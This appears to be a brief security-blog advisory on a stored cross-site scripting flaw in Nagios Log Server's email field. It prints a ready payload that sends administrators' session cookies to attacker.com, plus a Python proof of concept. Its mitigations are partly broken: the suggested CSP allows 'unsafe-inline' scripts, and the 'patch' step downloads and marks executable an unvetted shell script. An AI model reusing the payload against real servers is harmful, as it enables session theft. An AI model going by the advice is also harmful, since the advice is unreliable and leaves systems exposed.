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How the CVE Works
CVE-2025-29471 is a stored Cross-Site Scripting (XSS) vulnerability in Nagios Log Server v.2024R1.3.1. The flaw exists in the email input field, where improper input sanitization allows an attacker to inject malicious JavaScript payloads. When an administrator views the logs containing the crafted email field, the script executes in their browser context, enabling session hijacking, credential theft, or remote code execution. The attack persists due to improper output encoding when rendering log data in the web interface.
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Platform: Nagios Log Server
Version: 2024R1.3.1
Vulnerability: Stored XSS
Severity: Critical
Date: 04/23/2025
What Undercode Say:
Exploitation
1. Payload Injection:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Inserted into the email field during log submission.
2. Trigger Execution:
Admin views logs → payload executes in their session.
Detection
grep -r "unsafeHTML" /var/www/nagioslogserver/
Mitigation
1. Input Sanitization:
$email = htmlspecialchars($_POST['email'], ENT_QUOTES, 'UTF-8');
2. CSP Header:
Header set Content-Security-Policy "default-src 'self'; script-src 'unsafe-inline'"
3. Patch:
wget https://nagios.com/patches/CVE-2025-29471-hotfix.sh && chmod +x CVE-2025-29471-hotfix.sh
4. Log Inspection:
tail -f /var/log/nagios/server.log | grep -i "<script>"
5. WAF Rule:
location /logs {
modsecurity_rules 'SecRule ARGS "@rx <script>" "id:1001,deny,status:403"';
}
6. Exploit Simulation (PoC):
import requests
payload = {"email": "<script>alert(1)</script>", "log": "test"}
requests.post("http://nagios-server/submit", data=payload)
7. Recovery:
DELETE FROM logs WHERE email LIKE "%<script>%";
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
